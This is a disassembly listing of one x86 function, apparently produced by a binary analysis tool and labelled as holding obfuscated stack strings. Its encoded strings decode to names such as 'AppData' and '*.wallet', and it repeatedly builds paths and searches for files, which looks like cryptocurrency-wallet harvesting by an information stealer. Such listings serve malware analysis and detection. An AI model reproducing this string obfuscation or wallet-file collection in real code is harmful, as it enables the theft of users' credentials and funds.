Function at 0x42d653
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453d45
call fcn.004534f4
sub esp, 0x95c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov dword [ebp - 0x14], ebx
and dword [ebp - 4], 0
mov dl, 0x3e
mov dword [ebp - 0x57], 0x4e4e7f3e
mov dword [ebp - 0x53], 0x5f4a5f7a
mov byte [ebp - 0x4f], 0
xor ecx, ecx
mov dword [ebp - 0x26c], ecx
cmp ecx, 7
jae 0x42d6a9
mov al, byte [ebp + ecx - 0x56]
xor al, dl
mov byte [ebp + ecx - 0x56], al
inc ecx
mov dword [ebp - 0x26c], ecx
mov dl, byte [ebp - 0x57]
jmp 0x42d68e
mov byte [ebp - 0x4f], 0
lea eax, [ebp - 0x56]
push eax
call fcn.004494dd
pop ecx
push eax
lea ecx, [ebp - 0x178]
call fcn.0040bc98
mov dl, 0x17
mov dword [ebp - 0xde], 0x60393d17
mov dword [ebp - 0xda], 0x727b7b76
mov word [ebp - 0xd6], 0x63
xor ecx, ecx
mov dword [ebp - 0x298], ecx
cmp ecx, 8
jae 0x42d70e
mov al, byte [ebp + ecx - 0xdd]
xor al, dl
mov byte [ebp + ecx - 0xdd], al
inc ecx
mov dword [ebp - 0x298], ecx
mov dl, byte [ebp - 0xde]
jmp 0x42d6ea
mov byte [ebp - 0xd5], 0
lea eax, [ebp - 0xdd]
push eax
lea ecx, [ebp - 0x2f0]
call fcn.0040bc98
lea edi, [ebx + 0x3b0]
mov dword [ebp - 0x20], edi
push dword [ebp + 8]
mov ecx, edi
call fcn.004439d9
movaps xmm0, xmmword [0x407e10]
movups xmmword [ebp - 0x2b7], xmm0
mov word [ebp - 0x2a7], 0x7374
xor ebx, ebx
mov byte [ebp - 0x2a5], bl
mov edx, ebx
mov dword [ebp - 0x29c], edx
cmp edx, 0x11
jae 0x42d78d
movsx ecx, byte [ebp - 0x2b7]
and ecx, 0x8000000f
jns 0x42d77a
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x2b6]
sub al, cl
mov byte [ebp + edx - 0x2b6], al
inc edx
jmp 0x42d75b
mov byte [ebp - 0x2a5], bl
lea eax, [ebp - 0x2b6]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x500]
call fcn.00417b5f
push eax
call fcn.0041e788
mov esi, eax
lea ecx, [ebp - 0x500]
call fcn.0040bc59
test esi, esi
je 0x42daba
mov al, 0x24
mov byte [ebp - 0x8e], al
push 0x49
pop ebx
mov byte [ebp - 0x8d], bl
mov dword [ebp - 0x8c], 0x78676970
mov dword [ebp - 0x88], 0x717976
xor edx, edx
mov dword [ebp - 0x2a0], edx
cmp edx, 8
jae 0x42d827
movsx ecx, al
and ecx, 0x8000000f
jns 0x42d808
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x8d]
sub al, cl
mov byte [ebp + edx - 0x8d], al
inc edx
mov dword [ebp - 0x2a0], edx
mov al, byte [ebp - 0x8e]
jmp 0x42d7f3
mov byte [ebp - 0x85], 0
lea eax, [ebp - 0x8d]
push eax
lea ecx, [ebp - 0x530]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x518]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x308]
call fcn.0041c09c
lea eax, [ebp - 0x308]
push eax
mov ecx, edi
call fcn.004439d9
lea ecx, [ebp - 0x308]
call fcn.0040bc59
lea ecx, [ebp - 0x518]
call fcn.0040bc59
lea ecx, [ebp - 0x530]
call fcn.0040bc59
xor eax, eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov al, 0x24
mov byte [ebp - 0x98], al
mov byte [ebp - 0x97], bl
mov dword [ebp - 0x96], 0x78676970
mov dword [ebp - 0x92], 0x717976
xor ebx, ebx
mov edx, ebx
mov dword [ebp - 0x2a4], edx
cmp edx, 8
jae 0x42d905
movsx ecx, al
and ecx, 0x8000000f
jns 0x42d8e6
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x97]
sub al, cl
mov byte [ebp + edx - 0x97], al
inc edx
mov dword [ebp - 0x2a4], edx
mov al, byte [ebp - 0x98]
jmp 0x42d8d1
mov byte [ebp - 0x8f], bl
lea eax, [ebp - 0x97]
push eax
lea ecx, [ebp - 0x578]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x560]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x338]
call fcn.0041c09c
lea esi, [ebp - 0x338]
push 0x407020
lea ecx, [ebp - 0x320]
call fcn.0040bc98
movaps xmm0, xmmword [0x407f10]
movups xmmword [ebp - 0x2ca], xmm0
mov word [ebp - 0x2ba], 0x7879
mov byte [ebp - 0x2b8], bl
mov edx, ebx
mov dword [ebp - 0x1c0], edx
cmp edx, 0x11
jae 0x42d9a6
movsx ecx, byte [ebp - 0x2ca]
and ecx, 0x8000000f
jns 0x42d993
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x2c9]
sub al, cl
mov byte [ebp + edx - 0x2c9], al
inc edx
jmp 0x42d974
mov byte [ebp - 0x2b8], bl
lea eax, [ebp - 0x2c9]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x548]
call fcn.00417b5f
push ebx
lea ecx, [ebp - 0x118]
push ecx
push ebx
push ebx
push esi
lea ecx, [ebp - 0x320]
push ecx
push eax
mov ebx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.0041f76a
or byte [ebx + 0x3e2], al
lea ecx, [ebp - 0x548]
call fcn.0040bc59
lea ecx, [ebp - 0x320]
call fcn.0040bc59
lea ecx, [ebp - 0x338]
call fcn.0040bc59
lea ecx, [ebp - 0x560]
call fcn.0040bc59
lea ecx, [ebp - 0x578]
call fcn.0040bc59
mov ecx, dword [ebp - 0x118]
test ecx, ecx
je 0x42dab8
mov edi, dword [ebp - 0x114]
mov esi, ecx
mov dword [ebp - 0x1c4], esi
push 0x18
pop ebx
cmp esi, edi
je 0x42da58
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0x1c4], esi
mov ecx, dword [ebp - 0x118]
jmp 0x42da3d
mov eax, dword [ebp - 0x110]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0x1c8], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42da90
add edx, 0x23
mov dword [ebp - 0x1c8], edx
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f0aa
push edx
push ecx
call fcn.0044488d
pop ecx
pop ecx
xor ebx, ebx
lea eax, [ebp - 0x118]
mov dword [eax], ebx
lea eax, [ebp - 0x114]
mov dword [eax], ebx
lea eax, [ebp - 0x110]
mov dword [eax], ebx
mov edi, dword [ebp - 0x20]
jmp 0x42daba
xor ebx, ebx
mov dl, 0x2d
mov dword [ebp - 0xe9], 0x5860712d
mov byte [ebp - 0xe5], 0x41
push 0x59
pop eax
mov byte [ebp - 0xe4], al
push 0x44
pop ecx
mov byte [ebp - 0xe3], cl
mov byte [ebp - 0xe2], 0x6f
mov byte [ebp - 0xe1], cl
mov byte [ebp - 0xe0], al
mov byte [ebp - 0xdf], bl
mov ecx, ebx
mov dword [ebp - 0x1cc], ecx
cmp ecx, 9
jae 0x42db24
mov al, byte [ebp + ecx - 0xe8]
xor al, dl
mov byte [ebp + ecx - 0xe8], al
inc ecx
mov dword [ebp - 0x1cc], ecx
mov dl, byte [ebp - 0xe9]
jmp 0x42db00
mov byte [ebp - 0xdf], bl
lea eax, [ebp - 0xe8]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x590]
call fcn.00417b5f
push eax
call fcn.0041e788
mov esi, eax
lea ecx, [ebp - 0x590]
call fcn.0040bc59
test esi, esi
je 0x42de0f
push 0x4f
pop ebx
mov dl, bl
mov byte [ebp - 0xa2], dl
mov dword [ebp - 0xa1], 0x3b233a02
mov dword [ebp - 0x9d], 0x3b260d26
mov byte [ebp - 0x99], 0
xor ecx, ecx
mov dword [ebp - 0x1d0], ecx
cmp ecx, 8
jae 0x42dbaf
mov al, byte [ebp + ecx - 0xa1]
xor al, dl
mov byte [ebp + ecx - 0xa1], al
inc ecx
mov dword [ebp - 0x1d0], ecx
mov dl, byte [ebp - 0xa2]
jmp 0x42db8b
mov byte [ebp - 0x99], 0
lea eax, [ebp - 0xa1]
push eax
lea ecx, [ebp - 0x5c0]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x5a8]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x350]
call fcn.0041c09c
lea eax, [ebp - 0x350]
push eax
mov ecx, edi
call fcn.004439d9
lea ecx, [ebp - 0x350]
call fcn.0040bc59
lea ecx, [ebp - 0x5a8]
call fcn.0040bc59
lea ecx, [ebp - 0x5c0]
call fcn.0040bc59
xor eax, eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
lea edi, [ebp - 0x124]
mov byte [ebp - 0xac], bl
mov dword [ebp - 0xab], 0x3b233a02
mov dword [ebp - 0xa7], 0x3b260d26
mov byte [ebp - 0xa3], al
mov ecx, eax
mov dword [ebp - 0x1d4], ecx
cmp ecx, 8
jae 0x42dc7f
mov al, byte [ebp + ecx - 0xab]
xor al, bl
mov byte [ebp + ecx - 0xab], al
inc ecx
mov dword [ebp - 0x1d4], ecx
mov bl, byte [ebp - 0xac]
jmp 0x42dc5b
xor ebx, ebx
mov byte [ebp - 0xa3], bl
lea eax, [ebp - 0xab]
push eax
lea ecx, [ebp - 0x608]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x5f0]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x368]
call fcn.0041c09c
lea esi, [ebp - 0x368]
mov dl, 0x73
mov dword [ebp - 0xf4], 0x63e2f73
mov dword [ebp - 0xf0], 0x311a071f
mov word [ebp - 0xec], 0x71a
mov byte [ebp - 0xea], bl
mov ecx, ebx
mov dword [ebp - 0x1d8], ecx
cmp ecx, 9
jae 0x42dd12
mov al, byte [ebp + ecx - 0xf3]
xor al, dl
mov byte [ebp + ecx - 0xf3], al
inc ecx
mov dword [ebp - 0x1d8], ecx
mov dl, byte [ebp - 0xf4]
jmp 0x42dcee
mov byte [ebp - 0xea], bl
lea eax, [ebp - 0xf3]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x5d8]
call fcn.00417b5f
push ebx
push edi
push ebx
push ebx
push esi
lea ecx, [ebp - 0x2f0]
push ecx
push eax
mov edi, dword [ebp - 0x14]
mov ecx, edi
call fcn.0041f76a
or byte [edi + 0x3e2], al
lea ecx, [ebp - 0x5d8]
call fcn.0040bc59
lea ecx, [ebp - 0x368]
call fcn.0040bc59
lea ecx, [ebp - 0x5f0]
call fcn.0040bc59
lea ecx, [ebp - 0x608]
call fcn.0040bc59
mov ecx, dword [ebp - 0x124]
test ecx, ecx
je 0x42de12
mov edi, dword [ebp - 0x120]
mov esi, ecx
mov dword [ebp - 0x1dc], esi
push 0x18
pop ebx
cmp esi, edi
je 0x42ddb3
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0x1dc], esi
mov ecx, dword [ebp - 0x124]
jmp 0x42dd98
mov eax, dword [ebp - 0x11c]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0x1e0], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42ddeb
add edx, 0x23
mov dword [ebp - 0x1e0], edx
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f0aa
push edx
push ecx
call fcn.0044488d
pop ecx
pop ecx
lea eax, [ebp - 0x124]
and dword [eax], 0
lea eax, [ebp - 0x120]
and dword [eax], 0
lea eax, [ebp - 0x11c]
and dword [eax], 0
mov edi, dword [ebp - 0x14]
mov al, 0x29
mov dword [ebp - 0x60], 0x7b4a6529
push 0x76
pop ebx
mov byte [ebp - 0x5c], bl
mov dword [ebp - 0x5b], 0x827b78
xor edx, edx
mov dword [ebp - 0x1e4], edx
cmp edx, 7
jae 0x42de5b
movsx ecx, al
and ecx, 0x8000000f
jns 0x42de45
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x5f]
sub al, cl
mov byte [ebp + edx - 0x5f], al
inc edx
mov dword [ebp - 0x1e4], edx
mov al, byte [ebp - 0x60]
jmp 0x42de30
mov byte [ebp - 0x58], 0
lea eax, [ebp - 0x5f]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x620]
call fcn.00417b5f
push eax
call fcn.0041e788
mov esi, eax
lea ecx, [ebp - 0x620]
call fcn.0040bc59
test esi, esi
je 0x42e16b
push 0x5d
pop ebx
mov al, bl
mov byte [ebp - 0x2e], al
mov dword [ebp - 0x2d], 0x7c7a7f4e
mov word [ebp - 0x29], 0x867f
mov byte [ebp - 0x27], 0
xor edx, edx
mov dword [ebp - 0x1e8], edx
cmp edx, 6
jae 0x42dedb
movsx ecx, al
and ecx, 0x8000000f
jns 0x42dec5
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x2d]
sub al, cl
mov byte [ebp + edx - 0x2d], al
inc edx
mov dword [ebp - 0x1e8], edx
mov al, byte [ebp - 0x2e]
jmp 0x42deb0
mov byte [ebp - 0x27], 0
lea eax, [ebp - 0x2d]
push eax
lea ecx, [ebp - 0x650]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x638]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x380]
call fcn.0041c09c
lea eax, [ebp - 0x380]
push eax
lea ecx, [edi + 0x3b0]
call fcn.004439d9
lea ecx, [ebp - 0x380]
call fcn.0040bc59
lea ecx, [ebp - 0x638]
call fcn.0040bc59
lea ecx, [ebp - 0x650]
call fcn.0040bc59
xor eax, eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], eax
lea edi, [ebp - 0x130]
mov byte [ebp - 0x36], bl
mov dword [ebp - 0x35], 0x7c7a7f4e
mov word [ebp - 0x31], 0x867f
mov byte [ebp - 0x2f], al
mov edx, eax
mov dword [ebp - 0x1ec], edx
cmp edx, 6
jae 0x42dfa3
movsx ecx, bl
and ecx, 0x8000000f
jns 0x42df8d
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x35]
sub al, cl
mov byte [ebp + edx - 0x35], al
inc edx
mov dword [ebp - 0x1ec], edx
mov bl, byte [ebp - 0x36]
jmp 0x42df78
xor ebx, ebx
mov byte [ebp - 0x2f], bl
lea eax, [ebp - 0x35]
push eax
lea ecx, [ebp - 0x698]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x680]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x398]
call fcn.0041c09c
lea esi, [ebp - 0x398]
push 0x49
pop edx
mov byte [ebp - 0x69], dl
mov dword [ebp - 0x68], 0x243b0815
mov dword [ebp - 0x64], 0x303b26
mov ecx, ebx
mov dword [ebp - 0x1f0], ecx
cmp ecx, 7
jae 0x42e016
mov al, byte [ebp + ecx - 0x68]
xor al, dl
mov byte [ebp + ecx - 0x68], al
inc ecx
mov dword [ebp - 0x1f0], ecx
mov dl, byte [ebp - 0x69]
jmp 0x42dffb
mov byte [ebp - 0x61], bl
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x668]
call fcn.00417b5f
push ebx
push edi
push ebx
push ebx
push esi
lea ecx, [ebp - 0x2f0]
push ecx
push eax
mov edi, dword [ebp - 0x14]
mov ecx, edi
call fcn.0041f76a
or byte [edi + 0x3e2], al
lea ecx, [ebp - 0x668]
call fcn.0040bc59
lea ecx, [ebp - 0x398]
call fcn.0040bc59
lea ecx, [ebp - 0x680]
call fcn.0040bc59
lea ecx, [ebp - 0x698]
call fcn.0040bc59
mov ecx, dword [ebp - 0x130]
test ecx, ecx
je 0x42e110
mov edi, dword [ebp - 0x12c]
mov esi, ecx
mov dword [ebp - 0x268], esi
push 0x18
pop ebx
cmp esi, edi
je 0x42e0b1
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0x268], esi
mov ecx, dword [ebp - 0x130]
jmp 0x42e096
mov eax, dword [ebp - 0x128]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0x1f4], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42e0e9
add edx, 0x23
mov dword [ebp - 0x1f4], edx
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f0aa
push edx
push ecx
call fcn.0044488d
pop ecx
pop ecx
lea eax, [ebp - 0x130]
and dword [eax], 0
lea eax, [ebp - 0x12c]
and dword [eax], 0
lea eax, [ebp - 0x128]
and dword [eax], 0
mov edi, dword [ebp - 0x14]
push 0x76
pop ebx
movaps xmm0, xmmword [0x408520]
movups xmmword [ebp - 0x280], xmm0
mov byte [ebp - 0x270], bl
mov word [ebp - 0x26f], 0x6c79
mov byte [ebp - 0x26d], 0
xor edx, edx
mov dword [ebp - 0x1f8], edx
cmp edx, 0x12
jae 0x42e170
movsx ecx, byte [ebp - 0x280]
and ecx, 0x8000000f
jns 0x42e158
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x27f]
sub al, cl
mov byte [ebp + edx - 0x27f], al
inc edx
jmp 0x42e139
mov edi, dword [ebp - 0x14]
jmp 0x42e113
mov byte [ebp - 0x26d], 0
lea eax, [ebp - 0x27f]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x6b0]
call fcn.00417b5f
push eax
call fcn.0041e788
mov esi, eax
lea ecx, [ebp - 0x6b0]
call fcn.0040bc59
test esi, esi
je 0x42e466
mov dl, bl
mov byte [ebp - 0xb6], dl
mov dword [ebp - 0xb5], 0x131e0233
mov dword [ebp - 0xb1], 0x1b031304
mov byte [ebp - 0xad], 0
xor ecx, ecx
mov dword [ebp - 0x1fc], ecx
cmp ecx, 8
jae 0x42e1f9
mov al, byte [ebp + ecx - 0xb5]
xor al, dl
mov byte [ebp + ecx - 0xb5], al
inc ecx
mov dword [ebp - 0x1fc], ecx
mov dl, byte [ebp - 0xb6]
jmp 0x42e1d5
mov byte [ebp - 0xad], 0
lea eax, [ebp - 0xb5]
push eax
lea ecx, [ebp - 0x6e0]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x6c8]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x3b0]
call fcn.0041c09c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [edi + 0x3b0]
call fcn.004439d9
lea ecx, [ebp - 0x3b0]
call fcn.0040bc59
lea ecx, [ebp - 0x6c8]
call fcn.0040bc59
lea ecx, [ebp - 0x6e0]
call fcn.0040bc59
xor eax, eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], eax
lea edi, [ebp - 0x13c]
mov byte [ebp - 0xc0], bl
mov dword [ebp - 0xbf], 0x131e0233
mov dword [ebp - 0xbb], 0x1b031304
mov byte [ebp - 0xb7], al
mov ecx, eax
mov dword [ebp - 0x200], ecx
cmp ecx, 8
jae 0x42e2cd
mov al, byte [ebp + ecx - 0xbf]
xor al, bl
mov byte [ebp + ecx - 0xbf], al
inc ecx
mov dword [ebp - 0x200], ecx
mov bl, byte [ebp - 0xc0]
jmp 0x42e2a9
xor ebx, ebx
mov byte [ebp - 0xb7], bl
lea eax, [ebp - 0xbf]
push eax
lea ecx, [ebp - 0x728]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x710]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x3e0]
call fcn.0041c09c
lea esi, [ebp - 0x3e0]
push 0x407020
lea ecx, [ebp - 0x3c8]
call fcn.0040bc98
movaps xmm0, xmmword [0x407540]
movups xmmword [ebp - 0x294], xmm0
mov dword [ebp - 0x284], 0xb1c01
mov ecx, ebx
mov dword [ebp - 0x204], ecx
cmp ecx, 0x12
jae 0x42e35b
mov al, byte [ebp + ecx - 0x293]
xor al, byte [ebp - 0x294]
mov byte [ebp + ecx - 0x293], al
inc ecx
jmp 0x42e339
mov byte [ebp - 0x281], bl
lea eax, [ebp - 0x293]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x6f8]
call fcn.00417b5f
push ebx
push edi
push ebx
push ebx
push esi
lea ecx, [ebp - 0x3c8]
push ecx
push eax
mov ebx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.0041f76a
or byte [ebx + 0x3e2], al
lea ecx, [ebp - 0x6f8]
call fcn.0040bc59
lea ecx, [ebp - 0x3c8]
call fcn.0040bc59
lea ecx, [ebp - 0x3e0]
call fcn.0040bc59
lea ecx, [ebp - 0x710]
call fcn.0040bc59
lea ecx, [ebp - 0x728]
call fcn.0040bc59
mov ecx, dword [ebp - 0x13c]
test ecx, ecx
je 0x42e469
mov edi, dword [ebp - 0x138]
mov esi, ecx
mov dword [ebp - 0x208], esi
cmp esi, edi
je 0x42e405
mov ecx, esi
call fcn.0040bc59
add esi, 0x18
mov dword [ebp - 0x208], esi
mov ecx, dword [ebp - 0x13c]
jmp 0x42e3e9
mov eax, dword [ebp - 0x134]
sub eax, ecx
cdq
push 0x18
pop esi
idiv esi
imul edx, eax, 0x18
mov dword [ebp - 0x20c], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42e440
add edx, 0x23
mov dword [ebp - 0x20c], edx
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f0aa
push edx
push ecx
call fcn.0044488d
pop ecx
pop ecx
lea eax, [ebp - 0x13c]
and dword [eax], 0
lea eax, [ebp - 0x138]
and dword [eax], 0
lea eax, [ebp - 0x134]
and dword [eax], 0
jmp 0x42e469
mov ebx, dword [ebp - 0x14]
mov al, 0x6c
mov dword [ebp - 0xff], 0x856e686c
mov dword [ebp - 0xfb], 0x7b6f7180
mov word [ebp - 0xf7], 0x7a75
mov byte [ebp - 0xf5], 0
xor edx, edx
mov dword [ebp - 0x210], edx
cmp edx, 9
jae 0x42e4cb
movsx ecx, al
and ecx, 0x8000000f
jns 0x42e4ac
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xfe]
sub al, cl
mov byte [ebp + edx - 0xfe], al
inc edx
mov dword [ebp - 0x210], edx
mov al, byte [ebp - 0xff]
jmp 0x42e497
mov byte [ebp - 0xf5], 0
lea eax, [ebp - 0xfe]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x740]
call fcn.00417b5f
push eax
call fcn.0041e788
mov esi, eax
lea ecx, [ebp - 0x740]
call fcn.0040bc59
test esi, esi
je 0x42e7cf
lea edi, [ebx + 0x3b0]
mov dl, 0x47
mov byte [ebp - 0xca], dl
push 5
pop ebx
mov byte [ebp - 0xc9], bl
mov dword [ebp - 0xc8], 0x2422333e
mov dword [ebp - 0xc4], 0x292e28
xor ecx, ecx
mov dword [ebp - 0x214], ecx
cmp ecx, 8
jae 0x42e55c
mov al, byte [ebp + ecx - 0xc9]
xor al, dl
mov byte [ebp + ecx - 0xc9], al
inc ecx
mov dword [ebp - 0x214], ecx
mov dl, byte [ebp - 0xca]
jmp 0x42e538
mov byte [ebp - 0xc1], 0
lea eax, [ebp - 0xc9]
push eax
lea ecx, [ebp - 0x770]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x758]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x3f8]
call fcn.0041c09c
lea eax, [ebp - 0x3f8]
push eax
mov ecx, edi
call fcn.004439d9
lea ecx, [ebp - 0x3f8]
call fcn.0040bc59
lea ecx, [ebp - 0x758]
call fcn.0040bc59
lea ecx, [ebp - 0x770]
call fcn.0040bc59
xor eax, eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], eax
lea edi, [ebp - 0x148]
push 0x47
pop edx
mov byte [ebp - 0xd4], dl
mov byte [ebp - 0xd3], bl
mov dword [ebp - 0xd2], 0x2422333e
mov dword [ebp - 0xce], 0x292e28
mov ecx, eax
mov dword [ebp - 0x218], ecx
cmp ecx, 8
jae 0x42e62f
mov al, byte [ebp + ecx - 0xd3]
xor al, dl
mov byte [ebp + ecx - 0xd3], al
inc ecx
mov dword [ebp - 0x218], ecx
mov dl, byte [ebp - 0xd4]
jmp 0x42e60b
mov byte [ebp - 0xcb], 0
lea eax, [ebp - 0xd3]
push eax
lea ecx, [ebp - 0x7b8]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x7a0]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x410]
call fcn.0041c09c
lea esi, [ebp - 0x410]
mov byte [ebp - 0x10a], bl
mov dword [ebp - 0x109], 0x797e6761
mov dword [ebp - 0x105], 0x6e74686a
mov word [ebp - 0x101], 0x73
xor edx, edx
mov dword [ebp - 0x21c], edx
cmp edx, 9
jae 0x42e6cf
movsx ecx, bl
and ecx, 0x8000000f
jns 0x42e6b0
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x109]
sub al, cl
mov byte [ebp + edx - 0x109], al
inc edx
mov dword [ebp - 0x21c], edx
mov bl, byte [ebp - 0x10a]
jmp 0x42e69b
xor ebx, ebx
mov byte [ebp - 0x100], bl
lea eax, [ebp - 0x109]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x788]
call fcn.00417b5f
push ebx
push edi
push ebx
push ebx
push esi
lea ecx, [ebp - 0x2f0]
push ecx
push eax
mov ebx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.0041f76a
or byte [ebx + 0x3e2], al
lea ecx, [ebp - 0x788]
call fcn.0040bc59
lea ecx, [ebp - 0x410]
call fcn.0040bc59
lea ecx, [ebp - 0x7a0]
call fcn.0040bc59
lea ecx, [ebp - 0x7b8]
call fcn.0040bc59
mov ecx, dword [ebp - 0x148]
test ecx, ecx
je 0x42e7cf
mov edi, dword [ebp - 0x144]
mov esi, ecx
mov dword [ebp - 0x220], esi
cmp esi, edi
je 0x42e770
mov ecx, esi
call fcn.0040bc59
add esi, 0x18
mov dword [ebp - 0x220], esi
mov ecx, dword [ebp - 0x148]
jmp 0x42e754
mov eax, dword [ebp - 0x140]
sub eax, ecx
cdq
push 0x18
pop esi
idiv esi
imul edx, eax, 0x18
mov dword [ebp - 0x224], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42e7ab
add edx, 0x23
mov dword [ebp - 0x224], edx
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f0aa
push edx
push ecx
call fcn.0044488d
pop ecx
pop ecx
lea eax, [ebp - 0x148]
and dword [eax], 0
lea eax, [ebp - 0x144]
and dword [eax], 0
lea eax, [ebp - 0x140]
and dword [eax], 0
movaps xmm0, xmmword [0x407570]
movups xmmword [ebp - 0x1a4], xmm0
mov dword [ebp - 0x194], 0x14161003
mov byte [ebp - 0x190], 0
xor ecx, ecx
mov dword [ebp - 0x228], ecx
cmp ecx, 0x13
jae 0x42e812
mov al, byte [ebp + ecx - 0x1a3]
xor al, byte [ebp - 0x1a4]
mov byte [ebp + ecx - 0x1a3], al
inc ecx
jmp 0x42e7f0
mov byte [ebp - 0x190], 0
lea eax, [ebp - 0x1a3]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x7d0]
call fcn.00417b5f
push eax
call fcn.0041e788
mov esi, eax
lea ecx, [ebp - 0x7d0]
call fcn.0040bc59
test esi, esi
je 0x42eada
mov dl, 0x59
mov dword [ebp - 0x20], 0x21381359
mov word [ebp - 0x1c], 0x21
xor ecx, ecx
mov dword [ebp - 0x22c], ecx
cmp ecx, 4
jae 0x42e87e
mov al, byte [ebp + ecx - 0x1f]
xor al, dl
mov byte [ebp + ecx - 0x1f], al
inc ecx
mov dword [ebp - 0x22c], ecx
mov dl, byte [ebp - 0x20]
jmp 0x42e863
mov byte [ebp - 0x1b], 0
lea eax, [ebp - 0x1f]
push eax
lea ecx, [ebp - 0x800]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x7e8]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x428]
call fcn.0041c09c
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebx + 0x3b0]
call fcn.004439d9
lea ecx, [ebp - 0x428]
call fcn.0040bc59
lea ecx, [ebp - 0x7e8]
call fcn.0040bc59
lea ecx, [ebp - 0x800]
call fcn.0040bc59
xor eax, eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
